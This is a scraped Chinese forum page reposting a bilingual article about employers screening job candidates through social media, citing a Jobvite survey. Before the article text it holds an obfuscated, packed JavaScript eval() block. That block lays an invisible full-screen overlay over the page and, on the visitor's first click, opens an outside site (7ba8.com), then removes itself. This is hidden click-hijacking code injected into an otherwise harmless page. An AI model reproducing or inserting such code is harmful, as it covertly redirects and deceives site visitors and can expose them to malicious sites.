别上传二逼照片了:社交媒体对求职招聘的影响

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>醉酒时的照片很有趣,传一张到微博上,在人人上分享一下?Stop!最新调查显示,在美国九成雇主通过社交媒体来招人。在中国也有越来越多的公司通过微博来招聘,HR也会去你的人人主页看看生活中的你是个什么样子。
Social media has become the focus of not only our private lives, but our careers as well. Websites like Facebook, Twitter, YouTube and LinkedIn have pretty much become a reflection of our daily lives. Employers have noticed this too. Social media has become the number 1 source of potential employees and talents for employers and recruiting companies to hire. It is cheap, fast, convenient and one of the best ways to judge a person’s character. In a survey carried out by Jobvite earlier this year, it was seen that 92% of U.S. companies hire through social media websites, more so in websites such as LinkedIn and Facebook. The infographic below details further findings of the survey.
社交媒体已不仅仅是我们私生活的一部分了,而且它已经开始影响到了我们的事业。诸如Facebook、Twitter、Youtube和LinkedIn这样的社交媒体能在很大程度上反应出我们的日常生活。雇主们当然也已经注意到了这一点。如今,社交媒体已经成为雇主寻找优质、潜在员工的第一来源。通过社交媒体来招人好处多多,成本低、速度快、很方便,而且是判断一个人的品行的最佳方式之一。今年早些时候,由Jobvite组织的一项调查显示,92%的美国公司通过社交媒体来招募员工,而使用Facebook和LinkedIn的比例则更高。下图是infographic对此次调查做出的详细数据。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部